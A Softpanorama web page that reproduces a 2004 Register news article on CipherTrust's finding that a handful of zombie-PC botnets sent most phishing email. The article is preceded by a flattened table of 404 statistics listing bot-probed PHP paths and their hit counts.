/Commercial_linuxes/RHEL/index.shtml/[OES_path]/includes/lib-gro... 3 194.12 KB 1 /OSS/index.shtml/ro/_en/components/com_moofaq/includes/file_incl... 3 245.84 KB 2 2 /Commercial_unixes/AIX/OSS/compiling_apache13_on_aix.shtml/index... 3 52.92 KB /Security/IDS/acid.shtml/[OES_path]/includes/lib-group.inc.php 3 156.07 KB 1 /Tools/m4.shtml/errors.php 3 86.71 KB 2 /WWW/ssi.shtml/contenido/includes/include.newsletter_jobs_subnav... 3 30.42 KB 3 2 /WWW/blogs.shtml/skin/salz/setup.php 3 445.79 KB 1 1 /Tools/dd.shtml/plugins/safehtml/HTMLSax3.php 3 191.04 KB 1 /Tools/dd.shtml/s_e404.inc.php 3 191.04 KB /Scripting/Bulletin/scripting2004.shtml/templates/headline_temp.... 3 150.83 KB 2 2 /Scripting/php.shtml/day.php 3 207.67 KB 2 2 /OSS/webliography.shtml/modules/Calendar/admin/update.php 3 417.62 KB 3 /Security/Hardening/history.shtml/cgi-bin/index/admin.php 3 51.30 KB 1 /Security/classic_sec_tools.shtml/modules/auth.inc.php 3 68.38 KB 1 /Scripting/php.shtml/errors.php 3 207.67 KB 2 1 /Scripting/php.shtml/db.php 3 207.67 KB 1 /Net/Netutils/netcat.shtml/plugins/safehtml/HTMLSax3.php 3 66.84 KB 2 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 3 63.59 KB 2 2 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 3 63.59 KB 1 /Security/IDS/snort.shtml/plugins/tree/plug.inc.php 3 97.82 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 3 63.59 KB 1 /Solaris/index.shtml/direct.php 3 300.87 KB 3 3 /Security/IDS/acid.shtml/plugins/tree/plug.inc.php 3 156.07 KB 1 /Scripting/php.shtml/shop.php 3 207.67 KB 3 3 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 3 63.59 KB 2 2 /WWW/Webservers/web_server_security.shtml/nota.php 3 20.16 KB 1 /SE/halloween.shtml/modules/Calendar/admin/update.php 3 242 Bytes /DB/Mysql/tutorial.shtml/bbs/skin/buzzard_espoon/setup.php 3 51.74 KB 2 2 /Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/src/inde... 3 18.69 KB 3 1 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/include/main.ph... 3 120.61 KB 2 2 /Tools/dd.shtml/error.php 2 191.04 KB 1 1 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/templates/error... 2 120.61 KB 2 2 /Scripting/Phprama/php_debugging.shtml/accounts.php 2 95.07 KB 1 /Freenix/freebsd.shtml/php/init.poll.php 2 269.38 KB 2 /Scripting/Phprama/command_line_php.shtml/tmp.php 2 239.53 KB 1 2 /Solaris/solaris_tips.shtml/phpshop/index.php 2 116.67 KB 1 1 /Security/classic_sec_tools.shtml/s_loadenv.inc.php 2 68.38 KB /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 2 2 /Bulletin/Humor/index.shtml/templates/errors.php 2 189.71 KB 1 /WWW/blogs.shtml/faq2.php 2 111.48 KB 2 2 /Admin/index.shtml/errors.php 2 232.80 KB /Commercial_linuxes/index.shtml/administrator/components/com_web... 2 345.58 KB 1 /Social/oss_in_developing_countries.shtml/index.php 2 166.96 KB 2 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 1 1 /DB/mysql.shtml/xmlrpc.php 2 106.60 KB 2 2 /Admin/Event_correlation/index.shtml/include/_bot.php 2 365.09 KB /Internals/kernel_modules.shtml/modules/coppermine/themes/defaul... 2 37.60 KB 1 1 /Scripting/php.shtml/write.php 2 207.67 KB 2 2 /Tools/tr.shtml/pollphp/textfile/admin/common.inc.php 2 67.23 KB 1 1 /Scripting/php.shtml/skin/pqbig_board_blue/login.php 2 207.67 KB 1 /Tools/Sort/unix_sort_examples_collection.shtml/examples/phonebo... 2 50.14 KB 1 2 /WWW/ssi.shtml/file_includer.php 2 30.42 KB 1 /Logs/Syslog_ng/configuration_examples.shtml/src/album.class.php 2 29.74 KB 2 /Access_control/Suid/guid_suid_checkers.shtml/include/prodler.cl... 2 31.00 KB /Scripting/php.shtml/appserv/main.php 2 207.67 KB 1 1 /Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/src/albu... 2 18.69 KB 2 /Security/Filesystem_security/guid_suid_checkers.shtml/include/p... 2 31.84 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 1 /Security/IDS/acid.shtml/hall.php 2 156.07 KB 1 2 /Commercial_unixes/AIX/OSS/compiling_apache_on_aix.shtml/index.p... 2 38.49 KB 1 /VM/xen_on_suse.shtml/mindmeld/acweb/admin_index.php 2 132.46 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 1 1 /Utilities/Screen/screenrc_examples.shtml/echo.or.id/forum/searc... 2 118.87 KB /Solaris/Security/Bulletin/hardening2003.shtml/phprojekt/lib/lib... 2 126.55 KB 1 1 /Skeptics/Pseudoscience/harvard_mafia.shtml/login/secure.php 2 168.41 KB 2 2 /Scripting/shells.shtml/main_prepend.php 2 80.27 KB 1 /Tools/tr.shtml/textfile/admin/common.inc.php 2 67.23 KB 1 1 /Admin/index.shtml/vieworder.php 2 232.74 KB 1 1 /Internals/kernel_modules.shtml/xmlrpc.php 2 37.60 KB 2 /Scripting/php.shtml/*.php 2 207.67 KB 1 1 /Net/Internet_layer/arp.shtml/images/errors.php 2 140.20 KB 2 2 /Scripting/index.shtml/assets/snippets/reflect/snippet.reflect.p... 2 266.28 KB 1 1 /Scripting/php.shtml/txt-db-api.php 2 207.67 KB 1 /Commercial_unixes/AIX/OSS/compiling_php_on_aix.shtml/includes/i... 2 41.54 KB /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/phprojekt/lib/l... 2 120.61 KB 1 1 /Scripting/Shellorama/history.shtml/modules/coppermine/docs/menu... 2 127.78 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 2 2 /Tools/dd.shtml/s_list.inc.php 2 191.04 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 1 1 /Commercial_unixes/AIX/aix_profile_and_kshrc_files.shtml/toknowu... 2 36.16 KB 1 1 /Scripting/Phprama/php_debugging.shtml/list.php 2 95.07 KB 1 /Tools/cut.shtml/index.php 2 74.48 KB 1 /WWW/ssi.shtml/function_core.php 2 30.42 KB 2 2 /Scripting/tcl.shtml/shells.php 2 167.26 KB 1 1 /Solaris/oss_for_solaris.shtml/includes/modify.php 2 197.13 KB 1 1 /Net/Application_layer/ntp.shtml/index.php 2 89.51 KB 1 /OFM/Ofm_06.shtml/admin/functions/PhpCommander/upload.php 2 188 Bytes 1 1 /Tools/tr.shtml/admin/common.inc.php 2 67.23 KB 1 1 /Scripting/php.shtml/administrator/components/com_mosmedia/inclu... 2 207.67 KB 2 2 /Net/Netutils/ngrep.shtml/s_loadenv.inc.php 2 25.91 KB 2 /Admin/Tivoli/TEC/tec_installation.shtml/login.php 2 57.30 KB 1 1 /Xwindows/exporting_display.shtml/echo.or.id/forum/search.php 2 69.72 KB 1 /Net/Netutils/ngrep.shtml/netcat/modules/forum.inc.php 2 25.91 KB /WWW/Webservers/Apache/startup_and_shutdown.shtml/modules/xoopsg... 2 142.46 KB 2 2 /Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/src/imag... 2 18.69 KB 1 1 /WWW/Tools/html_prettyprinting.shtml/accounts/inc/include.php 2 17.05 KB 1 1 /Scripting/Phprama/command_line_php.shtml/includes/include_once.... 2 239.53 KB 1 /SE/testing.shtml/global/templates/admin_page_open.php 2 91.99 KB 1 /Scripting/Phprama/command_line_php.shtml/modules/xoopsgallery/u... 2 239.53 KB 1 1 /Security/IDS/acid.shtml/session.php 2 156.07 KB 1 /Articles/Linux_vs_Solaris/development_environment.shtml/connect... 2 69.29 KB 1 1 /Utilities/chpasswd.shtml/index.php 2 63.40 KB 1 /WWW/search_engines.shtml/admin/configset.php 2 146.26 KB 1 1 /Lang/Cpp_rama/cpp_ebooks_and_tutorials.shtml/zboard/include/wri... 2 80.90 KB 2 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 2 2 /Solaris/oss_for_solaris.shtml/photo_comment.php 2 197.13 KB 2 2 /OFM/Paradigm/Ch04/mc.shtml/echo.or.id/forum/search.php 2 249.96 KB 1 /Commercial_unixes/AIX/OSS/compiling_apache13_on_aix.shtml/calog... 2 52.92 KB 1 /Scripting/php.shtml/main.php 2 207.67 KB 2 2 /Logs/Syslog_ng/configuration_examples.shtml/src/index_overview.... 2 29.74 KB 2 /Logs/Syslog_ng/filter_functions_with_examples.shtml/index.php 2 14.83 KB 1 /Scripting/php.shtml/path/theme/format.php 2 207.67 KB 1 1 /Scripting/php.shtml/skin/uks_gallery_v3010/write.php 2 207.67 KB 1 /Lang/c.shtml/fiber/stats_URL/page.php 2 191.13 KB 2 /Admin/Tivoli/TEC/Adapters/logadapter.shtml/classes/class_Header... 2 59.65 KB 1 1 /Scripting/Phprama/php_debugging.shtml/config.php 2 95.07 KB 1 1 /WWW/ssi.shtml/includes/class_item.php 2 30.42 KB 1 1 /Scripting/humor.shtml/fiber/stats_URL/page.php 2 32.70 KB /WWW/ssi.shtml/hacked/admin/doeditconfig.php 2 30.42 KB 1 1 /OFM/MC/index.shtml/echo.or.id/forum/search.php 2 96.86 KB /Bookshelf/shells.shtml/main_prepend.php 2 165.57 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 2 63.59 KB 1 1 /WWW/ssi.shtml/errors.php 2 30.42 KB /Scripting/php.shtml/includes/include_once.php 2 207.67 KB 1 /Internals/kernel_modules.shtml/modules/downloads/lib/LM_Downloa... 2 37.60 KB 2 2 /Scripting/php.shtml/classes.php 2 207.67 KB 2 1 /Editors/Vimorama/history.shtml/include/mail.inc.php 2 30.83 KB 1 /Scripting/Phprama/php_debugging.shtml/playing.php 2 95.07 KB 2 1 /Scripting/php.shtml/components/com_mp3_allopass/allopass-error.... 2 207.67 KB 1 1 /DB/index.shtml/setup/header.php 2 283.20 KB 1 1 /Tools/index.shtml/e404.php 2 119.56 KB /Commercial_unixes/AIX/OSS/compiling_php_on_aix.shtml/index.php 1 41.54 KB 1 /Scripting/Bulletin/scripting2005.shtml/frag.php 1 98.76 KB 1 /Scripting/Phprama/php_debugging.shtml/vwar/backup/errors.php 1 95.07 KB 1 /Commercial_unixes/AIX/OSS/compiling_apache13_on_aix.shtml/apach... 1 52.92 KB 1 /Internals/kernel_modules.shtml/index.php 1 37.60 KB 1 /People/Wall/larry_wall_articles_and_interviews.shtml/ds-inc/set... 1 332.26 KB 1 /Copyright/Bulletin/copyleft_problems2001.shtml/index.php 1 136.62 KB /Articles/Linux_vs_Solaris/Framework/cost_of_patching.shtml/xmlr... 1 11.91 KB 1 /SE/program_understanding.shtml/index.php 1 280.70 KB /Tools/editors.shtml/include/mail.inc.php 1 113.77 KB 1 /Security/classic_sec_tools.shtml/netcat_files/index.php 1 68.38 KB /Scripting/php.shtml/principal.php 1 207.67 KB 1 1 /Scripting/Phprama/command_line_php.shtml/*.php 1 239.53 KB 1 /Commercial_linuxes/RHEL/index.shtml/xmlrpc.php 1 194.12 KB 1 /Links/Russian/Culture/Music/Bulletin/russian_oldies2008_12.shtm... 1 229.01 KB 1 /Lang/java.shtml/templates/errors.php 1 426.19 KB /Scripting/Phprama/command_line_php.shtml/bp_ncom.php 1 239.53 KB 1 1 /Malware/Malware_defense_history/Ch08_other_threats/email_scams.... 1 83.48 KB 1 1 /Internals/kernel_modules.shtml/dungeon/tick/allincludefortick.p... 1 37.60 KB 1 1 /Scripting/php.shtml/load_lang.php 1 207.67 KB 1 /WWW/Webservers/apache.shtml/skin/littletree_vote/setup.php 1 82.27 KB 1 1 /Scripting/Phprama/php_debugging.shtml/db.php 1 95.07 KB 1 /DB/sql.shtml/index.php 1 45.31 KB 1 /Scripting/php.shtml/lib/FSphp.php 1 207.67 KB 1 1 /Logs/Syslog_ng/configuration_examples.shtml/show_random.inc.php 1 29.74 KB 1 /Tools/awk.shtml/index.php 1 134.57 KB /Windows/index.shtml/videoplayer.php 1 145.64 KB 1 /Tools/dd.shtml/search.php 1 191.04 KB 1 1 /SE/testing.shtml/include/admin.lib.inc.php 1 91.99 KB 1 /Security/Certifications/cissp_certification.shtml/contenido/inc... 1 143.65 KB 1 /Admin/index.shtml/dastolleneueamunlog_irc.html/admin/inc/change... 1 232.74 KB 1 1 /Commercial_unixes/AIX/OSS/compiling_php_on_aix.shtml/ds-inc/set... 1 41.54 KB 1 /Algorithms/public_key_cryptography.shtml/contenido/includes/inc... 1 174.77 KB 1 /Tools/tail.shtml/sources/join.php 1 32.54 KB 1 1 /Scripting/Shellorama/command_completion.shtml/down.php 1 69.97 KB 1 1 /Scripting/Phprama/command_line_php.shtml/lib/Loggix/Module/Comm... 1 239.53 KB 1 1 /Scripting/php.shtml/blogxmlrpc.php 1 207.67 KB 1 1 /Scripting/Phprama/command_line_php.shtml/str.php 1 239.53 KB /Net/Internet_layer/arp.shtml/administrator/errors.php 1 140.20 KB 1 1 /WWW/blogs.shtml/skin/salz_default_gallery/list_main.php 1 445.79 KB 1 1 /WWW/ssi.shtml/move.php 1 30.42 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 /Scripting/php.shtml/config.inc.php 1 207.67 KB 1 1 /Mail/email_overload.shtml/pm/add_ons/mail_this_entry/mail_autoc... 1 73.93 KB 1 /Scripting/Phprama/command_line_php.shtml/Forum/add.php 1 239.53 KB 1 /Scripting/Phprama/command_line_php.shtml/lib/Loggix/Module.php 1 239.53 KB 1 1 /DNS/dns_servers.shtml/engine/api/api.class.php 1 103.64 KB 1 /Scripting/php.shtml/admin/admin_news_bot.php 1 207.67 KB 1 1 /Tools/dd.shtml/trans/trans.php 1 191.04 KB 1 1 /Scripting/php.shtml/html/affich.php 1 207.67 KB 1 /Scripting/php.shtml/task.php 1 207.67 KB 1 1 /Logs/Syslog_ng/configuration_examples.shtml/src/image-gd.class.... 1 29.74 KB 1 /Freenix/minidistributions.shtml/videoplayer.php 1 325.82 KB 1 /Solaris/oss_for_solaris.shtml/ee_commerce/paypalcart.php 1 197.13 KB 1 1 /WWW/ssi.shtml/includes/db_connect.php 1 30.42 KB 1 1 /Malware/Malicious_web/zombies.shtml/str.php 1 8.67 KB /Scripting/Phprama/php_debugging.shtml/cms/system/openengine.php 1 95.07 KB /Xwindows/exporting_display.shtml/display/home.php 1 69.72 KB 1 1 /Scripting/Phprama/command_line_php.shtml/appserv/main.php 1 239.53 KB 1 1 /Scripting/php.shtml/big.php 1 207.67 KB 1 1 /WWW/cgi_scripting.shtml/index.php 1 68.04 KB 1 /Lang/c.shtml/zboard/include/write.php 1 191.13 KB 1 /WWW/blogs.shtml/skin/salzcunii02_40/ask_password.php 1 445.79 KB 1 1 /Tools/find.shtml/tools/update_translations.php 1 111.60 KB 1 /Scripting/php.shtml/inc/step_one_tables.php 1 207.67 KB 1 /Solaris/Reference/etc/nsswitch.shtml/index.php 1 21.83 KB /Scripting/php.shtml/cms/system/openengine.php 1 207.67 KB 1 /Commercial_unixes/AIX/OSS/compiling_php_on_aix.shtml/shoutbox/e... 1 41.54 KB 1 1 /Scripting/Phprama/command_line_php.shtml/modules/4nAlbum/public... 1 239.53 KB 1 /Net/index.shtml/slogin_lib.inc.php 1 99.36 KB 1 /Scripting/Phprama/php_debugging.shtml/modules/4nAlbum/public/di... 1 95.07 KB 1 /Security/network_ids.shtml/ecommerce/payment/cybersource.php 1 215.87 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /WWW/apache.shtml/apache/mani.php 1 21.88 KB 1 /Commercial_unixes/AIX/aix_open_source.shtml/modules/tasks/searc... 1 259.74 KB 1 /Internals/kernel_modules.shtml/modules/wordpress/xmlrpc.php 1 37.60 KB 1 1 /Admin/index.shtml/modules/tinycontent/admin/spaw/spaw_control.c... 1 232.74 KB 1 1 /Lang/Javarama/language_designers_on_java.shtml/frag.php 1 12.58 KB 1 /Security/IDS/acid.shtml/library/lib.php 1 156.07 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 /Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/src/inde... 1 18.69 KB 1 /Scripting/php.shtml/language.php 1 207.67 KB 1 1 /Bulletin/Humor/index.shtml/errors.php 1 184.09 KB 1 /Scripting/php.shtml/php 1 207.67 KB 1 1 /Commercial_linuxes/Backup/partimage.shtml/index.php 1 29.27 KB 1 /Scripting/index.shtml/Forum/add.php 1 266.28 KB /Bulletin/Humor/linux_sucks.shtml/modules/Calendar/admin/update.... 1 233.53 KB /Scripting/php.shtml/include/prodler.class.php 1 207.67 KB 1 /WWW/blogs.shtml/skin/salz_default_gallery_pink/view.php 1 445.79 KB 1 /Links/russian.shtml/s_loadenv.inc.php 1 359.82 KB 1 1 /Net/Application_layer/NIS/nis_netgroups.shtml/modules/certinfo/... 1 63.95 KB 1 /Net/Netutils/ngrep.shtml/plugins/safehtml/HTMLSax3.php 1 25.91 KB 1 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/view.inc.php 1 120.61 KB 1 1 /Scripting/links.shtml/index.php 1 178 Bytes 1 /Mail/Phishing/index.shtml/index.php 1 117.73 KB /DB/Mysql/resetting_root_password_on_mysql.shtml/include/config.... 1 22.42 KB 1 1 /WWW/blogs.shtml/serendipity_xmlrpc.php 1 111.48 KB 1 /Scripting/php.shtml/werbungFrame.php 1 207.67 KB 1 /Bulletin/sp0b01.shtml/errors.php 1 235.92 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /Scripting/php.shtml/menu.php 1 207.67 KB 1 1 /Net/Netutils/ngrep.shtml/netcat_files/index.php 1 25.91 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /Security/IDS/acid.shtml/html/affich.php 1 156.07 KB /Scripting/php.shtml/brown/heart.php 1 207.67 KB 1 1 /Scripting/Phprama/php_debugging.shtml/index.php 1 95.07 KB /Net/Application_layer/DHCP/solaris_dhcp_server_configuration.sh... 1 38.36 KB 1 /Commercial_unixes/AIX/aix_open_source.shtml/blocks/help.php 1 259.74 KB 1 /Editors/eoe.shtml/library/editor/editor.php 1 52.60 KB 1 1 /WWW/Content_management/blogs.shtml/serendipity_xmlrpc.php 1 74.02 KB 1 /DNS/security.shtml/rconfig.inc.php 1 168.01 KB 1 /OFM/Paradigm/Ofm_07.shtml/metasearch/index.php 1 35.06 KB 1 1 /Tools/find.shtml/accounts/inc/include.php 1 111.60 KB 1 /Admin/index.shtml/admin/admin_status.php 1 232.74 KB 1 1 /Utilities/getopts.shtml/new/board/include/mail.inc.php 1 14.51 KB 1 /Admin/Event_correlation/index.shtml/include/prodler.class.php 1 365.09 KB 1 /Solaris/oss_for_solaris.shtml/c99.php 1 197.13 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /WWW/ssi.shtml/lib.inc.php 1 30.42 KB 1 1 /Scripting/php.shtml/modules/xoopsgallery/upgrade_album.php 1 207.67 KB 1 /Scripting/php.shtml/home.php 1 207.67 KB 1 1 /Articles/solaris_vs_linux.shtml/appserv/main.php 1 24.86 KB 1 1 /Lang/java.html/include/_bot.php 1 178 Bytes /Editors/Vimorama/vim_multiwindows_support.shtml/new/board/inclu... 1 52.54 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /Internals/kernel_modules.shtml/modules/download/download.php 1 37.60 KB 1 /Tools/editors.shtml/templates/errors.php 1 113.77 KB /Internals/kernel_modules.shtml/icontent/include/wysiwyg/spaw_co... 1 37.60 KB 1 1 /Logs/Syslog_ng/configuration_examples.shtml/src/show_random.inc... 1 29.74 KB 1 1 /Internals/kernel_modules.shtml/zox/index.php 1 37.60 KB 1 /Scripting/php.shtml/theme/format.php 1 207.67 KB 1 1 /Scripting/php.shtml/xoops_lib/modules/protector/oninstall.php 1 207.67 KB 1 1 /Scripting/php.shtml/www.orgues-thomas.com/apps/visiteurs/includ... 1 207.67 KB 1 /OFM/index.shtml/index.php 1 430.12 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 /Utilities/index.shtml/slogin_lib.inc.php 1 140.91 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /Skeptics/Offshoring_myths/Bulletin/offshoring2005.shtml/images/... 1 147.98 KB 1 1 /Internals/kernel_modules.shtml/calendar/mod_calendar.php 1 37.60 KB 1 1 /Internals/kernel_modules.shtml/modules/Forums/bb_smilies.php 1 37.60 KB 1 /OFM/Paradigm/index.shtml/gerhan/file_manager/users/show_users_d... 1 8.30 KB 1 1 /Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/show_ran... 1 18.69 KB 1 /Tools/tee.shtml/index.php 1 37.30 KB 1 /Scripting/Phprama/command_line_php.shtml/lib/Loggix/Module/Trac... 1 239.53 KB 1 1 /Xwindows/VNC/vnc_on_linux.shtml/skin/uks_gallery_v3010/write.ph... 1 128.19 KB 1 /Utilities/cron.shtml/index.php 1 91.91 KB /Logs/Syslog/syslog_configuration_examples.shtml/index.php 1 37.35 KB 1 /Xwindows/xdmcp.shtml/modules/search/search.php 1 55.47 KB 1 1 /Scripting/Phprama/php_debugging.shtml/erors.php 1 95.07 KB 1 1 /Commercial_linuxes/troubleshooting.shtml/s_loadenv.inc.php 1 28.57 KB 1 /Unixification/index.shtml/index.php 1 186.97 KB 1 /Scripting/Shellorama/bash_tips_and_tricks.shtml/embed/day.php 1 156.37 KB 1 /Net/Netutils/netcat.shtml/netcat_files/index.php 1 66.84 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 1 /Scripting/Phprama/command_line_php.shtml/werbungFrame.php 1 239.53 KB 1 /WWW/Content_management/wiki.shtml/index.php 1 104.59 KB 1 /Malware/Spyware/tools.shtml/index.php 1 104.80 KB 1 /Admin/Tivoli/ITM/itm51.shtml/include/monitoring/engine/errors.p... 1 60.59 KB 1 1 /index.shtml/templates/errors.php 1 71.39 KB 1 /Scripting/php.shtml/modules/postguestbook/styles/internal/heade... 1 207.67 KB 1 /Bulletin/sp2003h.shtml/modules/Calendar/admin/update.php 1 769.26 KB /Utilities/index.shtml/rconfig.inc.php 1 140.91 KB 1 /Office/index.shtml/index.php 1 80.26 KB 1 /Scripting/php.shtml/xmlrpc.php 1 207.67 KB 1 1 /Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/src/show... 1 18.69 KB 1 1 /Scripting/php.shtml/playing.php 1 207.67 KB 1 /Scripting/Phprama/command_line_php.shtml/include/prodler.class.... 1 239.53 KB 1 /Utilities/crontab.shtml/advanced1.php 1 183 Bytes 1 /Scripting/Phprama/php_debugging.shtml/modules/Forums/admin/erro... 1 95.07 KB 1 1 /Tools/editors.shtml/zboard/include/write.php 1 113.77 KB 1 1 /Commercial_unixes/AIX/OSS/compiling_apache_on_aix.shtml/library... 1 38.49 KB 1 /Scripting/Phprama/command_line_php.shtml/login.php 1 239.53 KB 1 /Mail/spam.shtml/submit.php 1 272.00 KB 1 1 /Links/russian.shtml/appserv/main.php 1 359.82 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 /Tools/Find/find_examples.shtml/tools/update_translations.php 1 71.07 KB 1 /Access_control/sudo.shtml/index.php 1 115.31 KB 1 /WWW/Webservers/apache.shtml/maplab-2.2.1/htdocs/gmapfactory/err... 1 82.27 KB 1 1 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/SSI.php 1 120.61 KB 1 /WWW/blogs.shtml/skin/salz_divirsity/setup.php 1 445.79 KB 1 1 /Commercial_linuxes/Suse/Bulletin/suse2007.shtml/index.php 1 156.01 KB 1 /Commercial_linuxes/RHEL/index.shtml/include/prodler.class.php 1 194.12 KB 1 /DB/index.shtml/principal.php 1 283.20 KB 1 1 /Mail/spam.shtml/index.php 1 272.00 KB 1 /Utilities/passwd.shtml/index.php 1 20.43 KB 1 /Editors/Vimorama/history.shtml/library/editor/editor.php 1 30.83 KB 1 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/classes.php 1 120.61 KB 1 /WWW/ssi.shtml/config.php 1 30.42 KB 1 1 /Security/IDS/acid.shtml/errors.php 1 156.07 KB 1 /Internals/kernel_modules.shtml/xt_conteudo/admin/spaw/spaw_cont... 1 37.60 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 1 63.59 KB 1 /Editors/vim.shtml/library/editor/editor.php 1 175.11 KB 1 /Scripting/php.shtml/xoopsgallery/init.php 1 207.67 KB 1 1 /Tools/cut.shtml/modules/certinfo/index.php 1 74.48 KB 1 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/modules/My_eGal... 1 120.61 KB 1 1 /Scripting/php.shtml/oneadmin/config.php 1 207.67 KB 1 1 Others 570450 68.79 KB 344588 343784

Botnets trawl for phishing victims By John Leyden

October 20th 2004 | theregister.co.uk

A small number of zombie networks are responsible for all Internet phishing attacks worldwide, according to CipherTrust, the messaging security appliance firm.

An analysis of messages sent to users of CipherTrust's IronMail security appliance found that less than one per cent of email messages during the first two weeks of October were phishing attacks. Dmitri Alperovitch, the research engineer at CipherTrust who carried out the analysis, reckons the phishing expeditions it spotted were launched from no more than five different networks of compromised zombie PCs, each approximately 1,000 strong.

The number of compromised machines linked to phishing expeditions is dwarfed by those engaged in spamming, which run into the tens of thousands a day. Seven in 10 of the compromised machines CipherTrust spotted distributing phishing emails were also used to send spam. CipherTrust was able to discern clear patterns in the barrage of spam and fraudulent emails spewed out from cracker-controlled machines which lead it to conclude that a limited number of zombie networks are used to send phishing emails.

"We don't know who's sending these phishing email or buying access to these compromised machines. But we can say that a group emails together and say that the same type of spam and phishing attack is coming from a group of machines," Alperovitch told El Reg. "A different 1,000 IP addresses every day are used but the size of swarms and their numbers remains consistent. Conservatively we'd put this number at less than five, we can't be more precise than that." Alperovitch said CipherTrust is talking to federal law enforcement agencies about its findings.

CipherTrust gathered its data by detecting the senders' Internet Protocol (IP) addresses on confirmed phishing attacks and then relating those addresses to CipherTrust's TrustedSource reputation system. CipherTrust's TrustedSource is designed to "provide precise information about sender behaviour across hundreds of thousands of IP addresses for the purpose of tracking message legitimacy and using that information to determine the intent of email senders".

Simon Dawson, head of corporate investigations at the Risk Advisory Group, which helped the UK banking industry launch an anti-phishing website last month, said it was hard to know of the number of zombie networks out there - much less than who is controlling them. "This kind of information only tends to come out through criminal prosecutions," he said.

botnets

Viruses such as My-Doom and Bagle (and Trojans such as Phatbot) surrender the control of infected PCs to malware authors, who sell access to the networks of compromised, zombie machines (or botnets) to other low lifes. By using compromised machines - instead of open mail relays or unscrupulous hosts - spammers can bypass traditional IP address blacklists. The fraudsters behind phishing attacks employ the same trick.

Around one in three (32 per cent) of the zombies linked to phishing by CipherTrust are based in the US. The second largest number of compromised PCs, 16 per cent, were located in South Korea. The remaining 52 per cent of phishing zombies were spread across 98 countries.

CipherTrust's phishing analysis discovered that 46 per cent of the phishing attacks used the Citibank brand to entice victims to share financial and personal information. The remaining 54 per cent of attacks were split among twelve other well-known brands across the financial and online retail industries. CipherTrust also found some evidence that the conmen behind phishing scams are targeting their attacks, at least geographically. Lloyds TSB phishing emails were sent almost exclusively to email users located in Europe, where the company is based, CipherTrust reports. ®

Recommended Links

Softpanorama Recommended

Top articles

Sites

UK banks launch anti-phishing website (http://www.theregister.co.uk/2004/10/01/bank_safe_online/)
P-cube goes hunting for zombie PCs (http://www.theregister.co.uk/2004/09/22/p-cube_zombie_buster/)
Rise of the Botnets (http://www.theregister.co.uk/2004/09/20/rise_of_the_botnets/)
Telenor takes down 'massive' botnet (http://www.theregister.co.uk/2004/09/09/telenor_botnet_dismantled/)
The illicit trade in compromised PCs (http://www.theregister.co.uk/2004/04/30/spam_biz/)

Zombie (computer science) - Wikipedia, the free encyclopedia

Botnet - Wikipedia, the free encyclopedia

Deactivating botnets | Botherders | End to End Trust

Zombies and Botnets

HTTP 404 - Wikipedia, the free encyclopedia

Coding Horror- Creating User Friendly 404 Pages

Traffic Zombie! The viral traffic generator.

Spam - Web Hosting Talk

aaa On interpreting access statistics

Smarter 'zombies' escape filters The Australian

Etc

Society

Groupthink : Two Party System as Polyarchy : Corruption of Regulators : Bureaucracies : Understanding Micromanagers and Control Freaks : Toxic Managers :   Harvard Mafia : Diplomatic Communication : Surviving a Bad Performance Review : Insufficient Retirement Funds as Immanent Problem of Neoliberal Regime : PseudoScience : Who Rules America : Neoliberalism  : The Iron Law of Oligarchy : Libertarian Philosophy

Quotes

War and Peace : Skeptical Finance : John Kenneth Galbraith :Talleyrand : Oscar Wilde : Otto Von Bismarck : Keynes : George Carlin : Skeptics : Propaganda  : SE quotes : Language Design and Programming Quotes : Random IT-related quotes :  Somerset Maugham : Marcus Aurelius : Kurt Vonnegut : Eric Hoffer : Winston Churchill : Napoleon Bonaparte : Ambrose Bierce :  Bernard Shaw : Mark Twain Quotes

Bulletin:

